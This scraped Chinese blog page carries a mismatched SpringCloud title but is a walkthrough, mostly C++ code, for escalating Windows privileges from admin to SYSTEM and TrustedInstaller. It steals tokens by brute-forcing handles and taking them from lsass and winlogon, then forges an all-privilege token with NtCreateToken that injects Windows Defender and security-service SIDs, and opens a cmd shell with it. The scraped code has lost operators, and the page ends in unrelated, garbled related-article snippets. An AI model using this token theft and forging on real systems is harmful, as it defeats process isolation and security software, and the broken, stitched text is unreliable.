当前位置: 首页 > article >正文

SpringCloud进阶--Seata与分布式事务庇

起因是我想在搞一些操作windows进程的事情时老是需要右键以管理员身份运行感觉很麻烦。就研究了一下怎么提权顺手瞄了一眼Windows下用户态权限分配然后也是感谢《深入解析Windows操作系统》这本书给我偷令牌的灵感吧写了两三天成功获取了用户态下所有特权用户组。一、windows的权限在 Windows 操作系统中“你是谁”以及“你能做什么”完全由一个核心内核对象决定。无论是用户登录、服务启动还是进程创建Windows 安全引用监视器SRM都会为每个进程分配一个令牌。Windows 的权限机制并不是一个单点功能而是一整套围绕“对象”“身份”“能力”展开的安全体系。它的核心目标只有一个在多用户、多进程、多权限级别共存的环境中让系统既能安全运行又能灵活扩展。这套机制的关键在于三个概念安全主体、访问令牌、受保护对象。Windows 不关心你写了什么代码只关心你的线程当前挂着哪一张令牌以及你试图触碰的对象设置了怎样的门禁。在 Windows 中真正参与权限判断的不是“用户”这个抽象概念而是 Security Principal。它可以是本地用户、域用户、系统账户甚至是服务账户。每一个 Security Principal 在系统中都有一个唯一的 SID这个 SID 就像身份证号码一样贯穿其一生。当你登录系统时无论是交互式登录、服务启动还是计划任务触发LSASS 都会负责认证你的身份并为你生成一个访问令牌。这个令牌不是简单的“你是谁”而是一个完整的能力集合快照。这个快照在登录完成后通常是静态的除非显式进行特权调整或令牌复制。也正因为如此Windows 的提权行为本质上不是“获得新能力”而是“获得另一张令牌”。1.令牌的结构令牌中包含用户 SID 和所属的所有组 SID。这些组并不只是显示在“用户属于 Administrators”那么简单还包括诸如 INTERACTIVE、SERVICE、AUTHENTICATED USERS 等隐式组。每一个组都可以被启用、禁用或者标记为仅用于拒绝访问。令牌中还包含一组特权也就是 Privileges例如 SeDebugPrivilege、SeLoadDriverPrivilege、SeImpersonatePrivilege 等。这些特权并不是默认全部启用的大多数处于 Disabled 状态需要显式调整。此外令牌还携带完整性级别。自 Windows Vista 起引入了强制完整性控制机制低完整性进程即便拥有访问控制列表允许的权限也可能被完整性策略直接拦截。最后令牌还记录了是否为主令牌还是模拟令牌这个细节直接决定了它能否被用于创建新进程。二、申请UAC和调试权限1.强制管理员运行函数 IsRunAsAdmin() 通过检查当前令牌是否含有 DOMAIN_ALIAS_RID_ADMINS管理员组 SID来判断权限。 如果不是管理员SelfElevate() 函数利用了一个经典技巧ShellExecuteExW 配合 runas 动词。原理runas 会触发 Windows 的用户账户控制UAC机制。如果当前用户在管理员组但以中等完整性级别Medium Integrity Level运行这会弹窗请求提升。这是本程序中唯一一处需要用户给权的代码。uac似乎也能绕过更改环境变量劫持dllBOOL IsRunAsAdmin() {BOOL fIsRunAsAdmin FALSE;PSID pAdminSID NULL;SID_IDENTIFIER_AUTHORITY NtAuthority SECURITY_NT_AUTHORITY;if (AllocateAndInitializeSid(NtAuthority,2,SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS,0,0,0,0,0,0,pAdminSID)) {if (!CheckTokenMembership(NULL, pAdminSID, fIsRunAsAdmin)) {fIsRunAsAdmin FALSE;}FreeSid(pAdminSID);}return fIsRunAsAdmin;}void SelfElevate() {WCHAR szPath[MAX_PATH];if (GetModuleFileNameW(NULL,szPath,ARRAYSIZE(szPath))) {SHELLEXECUTEINFOW sei {sizeof(sei)};sei.cbSize sizeof(sei);sei.lpVerb Lrunas;sei.lpFile szPath;sei.hwnd NULL;sei.nShow SW_NORMAL;if (!ShellExecuteExW(sei)) {std::wcout L[-] User refused UAC elevation. std::endl;} else {exit(0);}}}if (!IsRunAsAdmin()) {std::wcout L[*] Not Admin. Requesting elevation... std::endl;SelfElevate();return 0;}2.开启SeDebugPrivilege特权OpenProcessToken - LookupPrivilegeValue - AdjustTokenPrivileges。SeDebugPrivilege 是 Windows中最强大的特权之一。官方描述是“调试程序”但实际上它允许持有者打开任何进程的句柄拥有 PROCESS_ALL_ACCESS 权限即使该进程属于 SYSTEM 或其他用户。一旦开启此特权Windows 的“进程隔离”防线对攻击者而言就不复存在了。bool EnableDebugPrivilege() {HANDLE hToken;if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,hToken))return false;TOKEN_PRIVILEGES tp;LUID luid;if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, luid)) {CloseHandle(hToken);return false;}tp.PrivilegeCount 1;tp.Privileges[0].Luid luid;tp.Privileges[0].Attributes SE_PRIVILEGE_ENABLED;bool result AdjustTokenPrivileges(hToken,FALSE,tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);CloseHandle(hToken);return result (GetLastError() ERROR_SUCCESS);}三、Admin提权到 SYSTEM1.句柄爆破GetSystemTokenViaBruteForce() 函数展示了一种极其野蛮但有效的技术。 通常要获取 SYSTEM 令牌攻击者会尝试注入系统进程。但这种方式容易被杀软拦截。所以我的代码选择了“偷句柄”。内存分配循环NtQuerySystemInformation(SystemHandleInformation, ...) 的返回长度是不确定的。用一个 while 循环不断尝试分配更大的内存STATUS_INFO_LENGTH_MISMATCH直到缓冲区足够容纳成千上万个系统句柄。遍历与过滤代码遍历每一个 SYSTEM_HANDLE_TABLE_ENTRY_INFO。if (entry.UniqueProcessId myPid) continue;跳过自己。DuplicateHandle(...)这是最关键的一步。强行将别人的句柄“复制”到自己的进程空间中。HANDLE GetSystemTokenViaBruteForce() {if (!pNtQuerySystemInformation) return NULL;ULONG bufferSize 0x10000;PVOID buffer malloc(bufferSize);ULONG returnLength 0;NTSTATUS status;// 1. 获取所有句柄信息while ((status pNtQuerySystemInformation(SystemHandleInformation,buffer,bufferSize,returnLength)) STATUS_INFO_LENGTH_MISMATCH) {free(buffer);bufferSize returnLength 0x1000;buffer malloc(bufferSize);}if (status ! 0) {free(buffer);return NULL;}PSYSTEM_HANDLE_INFORMATION handleInfo (PSYSTEM_HANDLE_INFORMATION)buffer;DWORD myPid GetCurrentProcessId();HANDLE hBestToken NULL;std::wcout L[*] [Step 1] Brute-forcing handleInfo-NumberOfHandles L system handles... std::endl;for (ULONG i 0; i handleInfo-NumberOfHandles; i) {SYSTEM_HANDLE_TABLE_ENTRY_INFO entry handleInfo-Handles[i];if (entry.UniqueProcessId myPid) continue;HANDLE hSourceProcess OpenProcess(PROCESS_DUP_HANDLE,FALSE,entry.UniqueProcessId);if (!hSourceProcess) continue;HANDLE hDupHandle NULL;if (!DuplicateHandle(hSourceProcess,(HANDLE)(uintptr_t)entry.HandleValue,GetCurrentProcess(),hDupHandle,0,FALSE,DUPLICATE_SAME_ACCESS)) {CloseHandle(hSourceProcess);continue;}// 检查对象类型UCHAR typeInfoBuffer[0x1000];PMY_PUBLIC_OBJECT_TYPE_INFORMATION typeInfo (PMY_PUBLIC_OBJECT_TYPE_INFORMATION)typeInfoBuffer;NTSTATUS status;status pNtQueryObject(hDupHandle,ObjectTypeInformation,typeInfoBuffer,sizeof(typeInfoBuffer),NULL);if (status 0) {goto LoopCleanup;}if (!typeInfo-TypeName.Buffer || _wcsicmp(typeInfo-TypeName.Buffer, LToken) ! 0) {goto LoopCleanup;}if (!IsSystemToken(hDupHandle)) {goto LoopCleanup;}TOKEN_STATISTICS stats;DWORD len;if (!GetTokenInformation(hDupHandle,TokenStatistics,stats,sizeof(stats),len) ||stats.TokenType ! TokenPrimary) {goto LoopCleanup;}DuplicateTokenEx(hDupHandle,MAXIMUM_ALLOWED,NULL,SecurityImpersonation,TokenPrimary,hBestToken);EnableAllPrivilegesForToken(hBestToken);std::wcout L [] FOUND SYSTEM TOKEN at Source PID: entry.UniqueProcessId std::endl;CloseHandle(hDupHandle);CloseHandle(hSourceProcess);goto Cleanup;LoopCleanup:CloseHandle(hDupHandle);CloseHandle(hSourceProcess);}Cleanup:free(buffer);return hBestToken;}2.筛选复制过来的句柄成千上万如何找到有价值的类型检查使用 NtQueryObject 查询对象类型只保留 LToken 类型的句柄。身份验证IsSystemToken() 函数读取令牌的用户 SID利用 IsWellKnownSid(..., WinLocalSystemSid) 确认这个令牌属于 SYSTEM。最终获取一旦找到代码立即调用 DuplicateTokenEx 将其转换为一个主令牌Primary Token并调用 EnableAllPrivilegesForToken 激活其中所有休眠的特权如 SeTcbPrivilege 等。此时通过ImpersonateLoggedOnUser已经从 Admin 变成了 SYSTEM。// Admin - SYSTEMHANDLE hSystemToken GetSystemTokenViaBruteForce();if (!hSystemToken) {std::wcout L[-] Failed to get SYSTEM token. std::endl;return 1;}std::wcout L[] Step 1 Complete: Acquired SYSTEM token (Privileges Enabled). std::endl;// 模拟 SYSTEM 身份 (为了能够控制服务)if (!ImpersonateLoggedOnUser(hSystemToken)) {std::wcout L[-] Impersonation failed. std::endl;return 1;}四、System提权到TrustedInstaller在 Windows Vista 之后SYSTEM 不再是最高权限。为了防止系统文件被篡改微软引入了 Windows Resource Protection (WRP)其所有者是 TrustedInstaller。1.服务控制与劫持通过 StartTrustedInstallerService() 确保 TrustedInstaller 服务正在运行。如果服务没开攻击无法继续所以必须先 StartService。bool StartTrustedInstallerService() {SC_HANDLE hSCManager OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT);if (!hSCManager) return false;SC_HANDLE hService OpenServiceW(hSCManager,LTrustedInstaller,SERVICE_START | SERVICE_QUERY_STATUS);if (!hService) {CloseServiceHandle(hSCManager);return false;}SERVICE_STATUS_PROCESS ssp;DWORD bytesNeeded;QueryServiceStatusEx(hService,SC_STATUS_PROCESS_INFO,(LPBYTE)ssp,sizeof(SERVICE_STATUS_PROCESS),bytesNeeded);if (ssp.dwCurrentState ! SERVICE_RUNNING) {std::wcout L [*] Starting TrustedInstaller service... std::endl;StartService(hService, 0, NULL);Sleep(2000);} else {std::wcout L [*] TrustedInstaller service is already running. std::endl;}CloseServiceHandle(hService);CloseServiceHandle(hSCManager);return true;}2.令牌窃取与模拟GetTrustedInstallerToken() 函数执行了令牌窃取流程获取 PID通过 GetPidByName(LTrustedInstaller.exe)。打开进程OpenProcess。复制令牌DuplicateTokenEx。关键动作ImpersonateLoggedOnUser。这一步将当前线程的上下文切换为 TrustedInstaller。这非常重要因为后续的许多操作修改 ACL依赖于当前线程的身份而不是进程身份。HANDLE GetTrustedInstallerToken() {std::wcout L[*] [Step 2] Escalating to TrustedInstaller... std::endl;if (!StartTrustedInstallerService()) {std::wcout L [-] Failed to start service. std::endl;return NULL;}DWORD pid GetPidByName(LTrustedInstaller.exe);if (pid 0) {std::wcout L [-] TrustedInstaller.exe process not found. std::endl;return NULL;}HANDLE hProcess OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);if (!hProcess) return NULL;HANDLE hToken NULL;OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, hToken);HANDLE hNewToken NULL;if (hToken) {DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,NULL,SecurityImpersonation,TokenPrimary,hNewToken);std::wcout L [*] Enabling all privileges for TrustedInstaller token... std::endl;EnableAllPrivilegesForToken(hNewToken);CloseHandle(hToken);}CloseHandle(hProcess);return hNewToken;}五、伪造全特权令牌1.利用TrustedInstaller获取SeCreateTokenPrivilege特权为了能够创造新的令牌我们需要获取SeCreateTokenPrivilege特权。在 ScanAndStealTokens() 中代码遍历所有进程重点关注 lsass.exe本地安全机构子系统服务和 winlogon.exe。lsass.exe 是 Windows 安全的心脏它负责处理登录、验证和策略。因此它天然拥有创建令牌的权力。 HasSeCreateTokenPrivilege() 函数检查目标令牌。这是一个非常罕见的特权。普通管理员没有甚至普通的 SYSTEM 进程也不一定有。只有 lsass.exe 等极少数核心进程拥有。一旦找到拥有此特权的令牌代码将其保存到 stolenTokens 向量中并标记为“Terminator: Found special process”。这个令牌将成为后续“伪造工厂”的原材料。std::vector ScanAndStealTokens() {std::vector stolenTokens;HANDLE hSnapshot CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hSnapshot INVALID_HANDLE_VALUE) return stolenTokens;PROCESSENTRY32W pe;pe.dwSize sizeof(PROCESSENTRY32W);if (!Process32FirstW(hSnapshot, pe)) {return stolenTokens;}do {// 1. 过滤系统基础进程if (pe.th32ProcessID 0 || pe.th32ProcessID 4)continue;// 2. 尝试获取进程句柄HANDLE hProcess OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,pe.th32ProcessID);if (!hProcess) {hProcess OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,FALSE,pe.th32ProcessID);}if (!hProcess) continue;// 3. 尝试打开进程 TokenHANDLE hToken NULL;if (!OpenProcessToken(hProcess,TOKEN_QUERY | TOKEN_DUPLICATE,hToken)) {CloseHandle(hProcess);continue;}if (!HasSeCreateTokenPrivilege(hToken)) {CloseHandle(hToken);CloseHandle(hProcess);continue;}wprintf(L[] Terminator: Found special process [%d] %s\n, pe.th32ProcessID, pe.szExeFile);HANDLE hNewToken NULL;if (DuplicateTokenEx(hToken,TOKEN_ALL_ACCESS,NULL,SecurityImpersonation,TokenPrimary,hNewToken)) {if (_wcsicmp(pe.szExeFile, Llsass.exe) ! 0 _wcsicmp(pe.szExeFile, Lwinlogon.exe) ! 0) {continue;}stolenTokens.push_back(hNewToken);wprintf(L - Token stolen and stored! Handle: 0x%p\n, hNewToken);}CloseHandle(hToken);CloseHandle(hProcess);} while (Process32NextW(hSnapshot, pe));CloseHandle(hSnapshot);return stolenTokens;}2.伪造令牌我们预定义了一个目标服务列表 targetServices包含NT SERVICE\WinDefend (Windows Defender)NT SERVICE\TrustedInstallerNT SERVICE\SecurityHealthService (安全中心)...代码遍历这些服务名使用 LookupAccountNameW 获取它们对应的 SID安全标识符。这些 SID 代表了对反病毒软件、防火墙和系统核心组件的控制权。然后在内存中代码分配了一个巨大的缓冲区来存放 TOKEN_GROUPS 结构体。它首先复制了源令牌通常是 lsass.exe 的令牌中的所有组。然后它将上述收集到的 7 个高危 SID 追加到组列表中。关键属性设置ATTR_INJECT SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_OWNER。这意味着新令牌不仅属于这些组而且默认启用这些组的权限甚至拥有这些组对象的所有权然后循环遍历 LUID 从 2 到 MAX_PRIV_COUNT (45)。将每一个特权都设置为 SE_PRIVILEGE_ENABLED。 这不仅包括常见的 SeDebugPrivilege还包括 SeTcbPrivilege作为操作系统一部分行事、SeTakeOwnershipPrivilege接管所有权等。HANDLE ForgeSystemToken(HANDLE hSourceToken, const std::vector sidsToInject) {HMODULE hNtdll GetModuleHandleW(Lntdll.dll);auto NtCreateToken (PNT_CREATE_TOKEN)GetProcAddress(hNtdll, NtCreateToken);if (!NtCreateToken) {std::cerr [-] Failed to resolve NtCreateToken std::endl;return NULL;}std::vector bufStats, bufSource, bufUser, bufGroups, bufPrivs, bufOwner, bufPrimary, bufDacl;if (!GetTokenInfo(hSourceToken, TokenStatistics, bufStats) ||!GetTokenInfo(hSourceToken, TokenSource, bufSource) ||!GetTokenInfo(hSourceToken, TokenUser, bufUser) ||!GetTokenInfo(hSourceToken, TokenGroups, bufGroups) ||!GetTokenInfo(hSourceToken, TokenPrivileges, bufPrivs) ||!GetTokenInfo(hSourceToken, TokenOwner, bufOwner) ||!GetTokenInfo(hSourceToken, TokenPrimaryGroup, bufPrimary) ||!GetTokenInfo(hSourceToken, TokenDefaultDacl, bufDacl)) {std::cerr [-] Failed to query source token information. std::endl;return NULL;}PTOKEN_USER pUser (PTOKEN_USER)bufUser.data();PTOKEN_GROUPS pOriginalGroups (PTOKEN_GROUPS)bufGroups.data();PTOKEN_PRIVILEGES pPrivs (PTOKEN_PRIVILEGES)bufPrivs.data();PTOKEN_OWNER pOwner (PTOKEN_OWNER)bufOwner.data();PTOKEN_PRIMARY_GROUP pPrimaryGroup (PTOKEN_PRIMARY_GROUP)bufPrimary.data();PTOKEN_DEFAULT_DACL pDefaultDacl (PTOKEN_DEFAULT_DACL)bufDacl.data();PTOKEN_STATISTICS pStats (PTOKEN_STATISTICS)bufStats.data();PTOKEN_SOURCE pSource (PTOKEN_SOURCE)bufSource.data();DWORD newGroupCount pOriginalGroups-GroupCount (DWORD)sidsToInject.size();std::vector newGroupsBuffer(sizeof(TOKEN_GROUPS) (newGroupCount * sizeof(SID_AND_ATTRIBUTES)) 0x1000);PTOKEN_GROUPS pNewGroups (PTOKEN_GROUPS)newGroupsBuffer.data();pNewGroups-GroupCount newGroupCount;for (DWORD i 0; i pOriginalGroups-GroupCount; i) {pNewGroups-Groups[i].Sid pOriginalGroups-Groups[i].Sid; // 注意这里直接复制指针需确保源 buffer 不释放pNewGroups-Groups[i].Attributes pOriginalGroups-Groups[i].Attributes;}DWORD const ATTR_INJECT SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_OWNER; // 14 (0xE)for (size_t i 0; i sidsToInject.size(); i) {DWORD currentIndex pOriginalGroups-GroupCount (DWORD)i;pNewGroups-Groups[currentIndex].Sid sidsToInject[i];pNewGroups-Groups[currentIndex].Attributes ATTR_INJECT;}SECURITY_QUALITY_OF_SERVICE sqos {sizeof(sqos),SecurityImpersonation,SECURITY_DYNAMIC_TRACKING,FALSE };OBJECT_ATTRIBUTES oa {sizeof(oa),0,0,0,0,sqos };HANDLE hNewToken NULL;LUID authId SYSTEM_LUID;LARGE_INTEGER expTime { 0xFFFFFFFF, 0x7FFFFFFF }; // Infinitestd::vector fullPrivsBuffer(sizeof(TOKEN_PRIVILEGES) (MAX_PRIV_COUNT * sizeof(LUID_AND_ATTRIBUTES)));PTOKEN_PRIVILEGES pFullPrivs (PTOKEN_PRIVILEGES)fullPrivsBuffer.data();DWORD privCount 0;for (DWORD i 2; i MAX_PRIV_COUNT 2; i) {LUID luid { i, 0 };wchar_t name[256];DWORD nameLen 256;if (LookupPrivilegeNameW(NULL, luid, name, nameLen)) {pFullPrivs-Privileges[privCount].Luid luid;pFullPrivs-Privileges[privCount].Attributes SE_PRIVILEGE_ENABLED | SE_PRIVILEGE_ENABLED_BY_DEFAULT;privCount;}}pFullPrivs-PrivilegeCount privCount;PSID pSystemSid NULL;SID_IDENTIFIER_AUTHORITY ntAuthority SECURITY_NT_AUTHORITY;AllocateAndInitializeSid(ntAuthority,1,SECURITY_LOCAL_SYSTEM_RID,0,0,0,0,0,0,0,pSystemSid);TOKEN_USER systemUser { 0 };systemUser.User.Sid pSystemSid;systemUser.User.Attributes 0;TOKEN_OWNER tokenOwner { pSystemSid };TOKEN_PRIMARY_GROUP tokenPrimaryGroup { pSystemSid };NTSTATUS status NtCreateToken(hNewToken,TOKEN_ALL_ACCESS,oa,TokenPrimary,authId, // SYSTEM_LUIDexpTime,systemUser, // UserpNewGroups, // GroupspFullPrivs, // PrivilegestokenOwner, // OwnertokenPrimaryGroup, // PrimaryGrouppDefaultDacl, // 可以沿用旧的或者构造一个允许 SYSTEM 访问的 DACLpSource);if (status 0 hNewToken ! NULL) {std::wcout if (status 0xC0000061)std::wcerr L STATUS_PRIVILEGE_NOT_HELD (Need SeCreateTokenPrivilege) std::endl;return NULL;}}六、执行与利用拥有了伪造的令牌后代码使用 CreateProcessWithTokenW以全特权全所属组的方式启动cmdif (!ImpersonateLoggedOnUser(hSystemToken)) {std::wcout L[-] Impersonation failed. std::endl;return 1;}std::wcout L[] Impersonation Active: Thread is now SYSTEM. std::endl;// SYSTEM - TrustedInstallerHANDLE hTIToken GetTrustedInstallerToken();if (!hTIToken) {std::wcout L[-] Failed to get TrustedInstaller token. std::endl;RevertToSelf();return 1;}std::wcout L[] Step 2 Complete: Acquired TrustedInstaller token (Privileges Enabled). std::endl;if (ImpersonateLoggedOnUser(hTIToken)) {std::wcout L\n[*] Impersonating TrustedInstaller to attack ACL... std::endl;} else {std::wcout L[-] Failed to impersonate TrustedInstaller for ACL modification. std::endl;}std::vector tokens ScanAndStealTokens();if (tokens.empty()) {std::wcout L[-] No special tokens found. std::endl;return 1;}std::wcout L[] Collected tokens.size() L candidate tokens. std::endl;if (ImpersonateLoggedOnUser(tokens.back()))std::wcout L[] Impersonation Successful! std::endl;std::vector injectedSIDs;std::wcout L[*] Resolving Service SIDs... std::endl;for (const auto svc : targetServices) {PSID pSid GetSidForService(svc);if (pSid) {injectedSIDs.push_back(pSid);} else {std::wcout L [-] Failed to resolve: svc std::endl;}}HANDLE hCurrentToken;OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, hCurrentToken);// 3. 执行伪造HANDLE hForgedToken ForgeSystemToken(hCurrentToken, injectedSIDs);if(!hForgedToken) {std::wcout L [-] Failed to forged std::endl;return 1;}// 启动 CMDSTARTUPINFOW si { sizeof(si) };PROCESS_INFORMATION pi { 0 };std::wcout L[*] Launching CMD std::endl;if (ImpersonateLoggedOnUser(hForgedToken ))std::wcout L[] Impersonation Successful! std::endl;if (CreateProcessWithTokenW(hForgedToken,1,LC:\\Windows\\System32\\cmd.exe,NULL,CREATE_NEW_CONSOLE,NULL,NULL,si,pi)) {std::wcout L\n[SUCCESS] PID: pi.dwProcessId L. Check whoami /groups. std::endl;CloseHandle(pi.hProcess);CloseHandle(pi.hThread);} else {std::wcout L [-] Launch failed. Error: GetLastError() std::endl;}最终的whoami /all如下图所示切套得俪

相关文章:

SpringCloud进阶--Seata与分布式事务庇

起因是我想在搞一些操作windows进程的事情时,老是需要右键以管理员身份运行,感觉很麻烦。就研究了一下怎么提权,顺手瞄了一眼Windows下用户态权限分配,然后也是感谢《深入解析Windows操作系统》这本书给我偷令牌的灵感吧&#xff…...

前端使用AI试水报告蒲

1 实用案例 1.1 表格样式生成 本示例用于生成包含富文本样式与单元格背景色的Word表格文档。 模板内容: 渲染代码: # python-docx-template/blob/master/tests/comments.py from docxtpl import DocxTemplate, RichText # data: python-docx-temp…...

别再数据线了!用FastAPI 分钟搭个局域网文件+剪贴板神器罕

为 HagiCode 添加 GitHub Pages 自动部署支持 本项目早期代号为 PCode,现已正式更名为 HagiCode。本文记录了如何为项目引入自动化静态站点部署能力,让内容发布像喝水一样简单。 背景/引言 在 HagiCode 的开发过程中,我们遇到了一个很现实的问…...

macos简单配置openclaw又

1 实用案例 1.1 表格样式生成 本示例用于生成包含富文本样式与单元格背景色的Word表格文档。 模板内容: 渲染代码: # python-docx-template/blob/master/tests/comments.py from docxtpl import DocxTemplate, RichText # data: python-docx-template/bl…...

c++ ffmpeg之提取视频数据保存到本地yuv文件(亲测好用)

#ifndef VIDEO_TO_YUV_H #define VIDEO_TO_YUV_H#include<QDebug> #include<QObject> #include<QThread> #include<QMutex> #include<QWaitCondition> #include<QImage>...

AI NLP核心技术指南

AI NLP核心技术指南...

AI神经网络基础概念技术指南

AI神经网络基础概念技术指南...

别再被照片骗了!从手机到单反,5分钟搞懂镜头畸变(附常见场景对比图)

别再被照片骗了&#xff01;从手机到单反&#xff0c;5分钟搞懂镜头畸变&#xff08;附常见场景对比图&#xff09; 每次拍完照片回看时&#xff0c;总觉得哪里不对劲——明明站得笔直的闺蜜在画面边缘变成了"香蕉人"&#xff0c;精心构图的城市天际线像被哈哈镜扭曲…...

3步打造纯净Windows 11:用Win11Debloat告别系统臃肿

3步打造纯净Windows 11&#xff1a;用Win11Debloat告别系统臃肿 【免费下载链接】Win11Debloat A simple, lightweight PowerShell script that allows you to remove pre-installed apps, disable telemetry, as well as perform various other changes to declutter and cust…...

为什么你的大模型上线后总出幻觉?:从血缘断链到推理失控的5层归因与实时修复指南

第一章&#xff1a;大模型工程化中的模型血缘追踪 2026奇点智能技术大会(https://ml-summit.org) 模型血缘追踪是保障大模型全生命周期可审计、可复现与可治理的核心能力。在持续训练、微调、量化、蒸馏与部署的多阶段工程实践中&#xff0c;同一基础模型可能衍生出数十个变体…...

专家 VS镜像视界:镜像视界算不算AI公司?

&#x1f3af; 标准反杀答案如果按传统分类&#xff0c;我们当然使用AI技术&#xff1b;但如果从系统本质来看—— 我们不属于“AI公司”&#xff0c;而属于“空间智能基础设施公司”。AI只是我们系统中的一个模块&#xff0c; 而不是系统的核心。&#x1f9e0; 进阶拆解① 承认…...

【最后72小时解锁】SITS2026联邦学习工作坊原始代码包+训练轨迹可视化Dashboard(含PyTorch/FedNLP/SecureAgg三框架适配版),错过再无官方授权分发

第一章&#xff1a;SITS2026演讲&#xff1a;大模型联邦学习应用 2026奇点智能技术大会(https://ml-summit.org) 在SITS2026主会场&#xff0c;来自MIT与华为诺亚方舟实验室的联合团队展示了基于LLaMA-3架构的大模型联邦学习新范式——FedLLM。该方案突破传统参数平均&#x…...

镜像视界空间智能体系统的核心原理是否涉及人工智能技术?

一句话结论涉及人工智能&#xff0c;但本质不是AI系统。我们的核心是空间计算系统&#xff0c;AI只是其中一个工具层。&#x1f9e0; 分层拆解1️⃣ 底层&#xff1a;不是AI ——是空间几何计算系统最核心的能力是&#xff1a;空间反演&#xff08;Pixel → World&#xff09;多…...

为什么要做 GeoPipeAgent底

指令替换 项目需求&#xff1a;将加法指令替换为减法 项目目录如下 /MyProject ├── CMakeLists.txt # CMake 配置文件 ├── build/ #构建目录 │ └── test.c #测试编译代码 └── mypass2.cpp # pass 项目代码 一&#xff0c;测试代码示例 test.c // test.c #includ…...

创业机会:AI Agent Harness Engineering 在垂直专业市场的 7 大爆点

创业机会:AI Agent Harness Engineering 在垂直专业市场的 7 大爆点 1. 引言:AI Agent 时代的到来 在人工智能技术快速发展的今天,我们正站在一个新时代的门槛上。从早期的规则引擎到如今的大语言模型(LLMs),AI技术已经取得了令人瞩目的进步。然而,真正的革命可能在于AI…...

网络连接故障 [2604] 终极排查指南:从浏览器设置到系统修复

1. 错误代码2604的根源解析 遇到浏览器弹出"无网络连接 请检查你的网络设置 然后重试 [2604]"的提示时&#xff0c;很多用户会下意识地反复刷新页面或重启路由器。但根据我处理这类问题的经验&#xff0c;90%的情况都与SSL/TLS协议配置有关。这个错误代码通常出现在W…...

深入解析ULN2003电机驱动器:从原理到实战应用

1. ULN2003电机驱动器基础解析 第一次接触ULN2003时&#xff0c;我完全被这个小小的芯片震撼到了——谁能想到这个比指甲盖还小的黑疙瘩&#xff0c;竟然能直接驱动继电器和步进电机&#xff1f;作为电子爱好者入门电机驱动的"启蒙老师"&#xff0c;ULN2003确实是个…...

GNSS差分码偏差(DCB)的实战应用与数据处理指南

1. GNSS差分码偏差&#xff08;DCB&#xff09;的核心概念解析 第一次接触DCB这个概念时&#xff0c;我也被各种专业术语绕得头晕。简单来说&#xff0c;你可以把DCB想象成GNSS信号在传输过程中产生的"指纹识别误差"。就像不同品牌的手机充电线给同一台设备充电时&am…...

ES6——编程风格

编程风格1、块级作用域1.1、Iet取代var1.2、全局常量和线程安全1.3、严格模式2、字符串3、解构赋值4、对象5、数组6、函数7、Map结构8、Class9、模块10、ESLint的使用1、块级作用域 1.1、Iet取代var ES6提出了两个新的声明变量的命令&#xff1a;let和const。其中&#xff0c…...

从源码到挂载:剖析NVIDIA Container Toolkit的GPU设备注入机制

1. 从零理解NVIDIA Container Toolkit的GPU挂载机制 第一次在容器里运行nvidia-smi命令时&#xff0c;那种"魔法般"的体验让我记忆犹新。明明宿主机上能正常使用的GPU设备&#xff0c;怎么在容器里就凭空出现了&#xff1f;这背后的秘密就藏在NVIDIA Container Toolk…...

SQL中JOIN类型选择的业务逻辑分析_根据业务需求选择连接

INNER JOIN 不能用于需保留主表所有记录的场景&#xff0c;如统计未下单用户&#xff1b;错误地在LEFT JOIN的WHERE中过滤右表字段会使其退化为INNER JOIN&#xff1b;RIGHT JOIN基本可被LEFT JOIN替代&#xff1b;FULL OUTER JOIN在MySQL中不支持&#xff0c;业务“并集”宜用…...

别只打补丁了!聊聊Oracle 11.2.0.4在Windows上维护的那些事儿:补丁管理、版本兼容与OPatch工具详解

Oracle 11.2.0.4 Windows环境下的补丁管理艺术&#xff1a;从基础操作到战略规划 在Oracle数据库运维领域&#xff0c;补丁管理往往被视为一项基础性工作&#xff0c;但实际上它远不止是简单的"下载-安装-重启"流程。特别是在Windows平台上运行的Oracle 11.2.0.4版本…...

CYBER-VISION零号协议入门指南:一键部署,开启智能助盲新篇章

CYBER-VISION零号协议入门指南&#xff1a;一键部署&#xff0c;开启智能助盲新篇章 1. 引言&#xff1a;当科技成为视障者的眼睛 想象一下&#xff0c;当你走在繁忙的街道上&#xff0c;眼前的世界突然变得模糊不清——路边的台阶、迎面而来的行人、突然出现的障碍物都成了潜…...

别再让扩展坞‘抢电’了!手把手教你用LDR6282 APP智能分配USB-C功率

别再让扩展坞“抢电”了&#xff01;LDR6282芯片智能功率分配全攻略 每次连接扩展坞时&#xff0c;笔记本电量不增反减&#xff1f;外接硬盘频繁断开&#xff1f;这些困扰专业用户的“功率焦虑”问题&#xff0c;根源在于传统扩展坞的固定功率分配机制。本文将深度解析基于LDR…...

TCP连接管理实战:从CLOSE_WAIT与TIME_WAIT的根源到系统级调优

1. 从线上故障说起&#xff1a;当端口耗尽成为压测拦路虎 去年双十一大促前&#xff0c;我们团队在对核心交易系统做全链路压测时&#xff0c;突然发现服务端出现大量"Address already in use"错误。监控面板上TCP连接数曲线像坐了火箭一样直线上升&#xff0c;短短1…...

Redis持久化:从AOF到RDB,如何实现数据不丢失?芈

Qt是一个跨平台C图形界面开发库&#xff0c;利用Qt可以快速开发跨平台窗体应用程序&#xff0c;在Qt中我们可以通过拖拽的方式将不同组件放到指定的位置&#xff0c;实现图形化开发极大的方便了开发效率&#xff0c;本笔记将重点介绍QSpinBox数值微调组件的常用方法及灵活应用。…...

Windows优化神器:3步告别卡顿,让你的电脑飞起来

Windows优化神器&#xff1a;3步告别卡顿&#xff0c;让你的电脑飞起来 【免费下载链接】Winhance-zh_CN A Chinese version of Winhance. C# application designed to optimize and customize your Windows experience. 项目地址: https://gitcode.com/gh_mirrors/wi/Winhan…...

